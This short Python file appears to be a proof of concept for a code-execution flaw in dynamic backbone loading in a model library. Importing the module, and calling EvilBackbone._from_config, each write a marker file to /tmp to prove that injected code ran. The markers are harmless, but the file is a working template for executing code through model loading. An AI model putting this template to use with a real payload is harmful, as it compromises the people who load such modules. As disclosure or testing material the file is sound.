| import os | |
| from pathlib import Path | |
| MARKER_DIR = Path(os.environ.get("POC_MARKER_DIR", "/tmp/omdet_turbo_poc_markers")) | |
| MARKER_DIR.mkdir(parents=True, exist_ok=True) | |
| (MARKER_DIR / "RCE_MARKER").write_text("dynamic AutoBackbone module imported/executed\n") | |
| import torch.nn as nn | |
| class EvilBackbone(nn.Module): | |
| def __init__(self): | |
| super().__init__() | |
| def _from_config(cls, config, **kwargs): | |
| (MARKER_DIR / "FROM_CONFIG_MARKER").write_text("EvilBackbone._from_config called\n") | |
| return cls() | |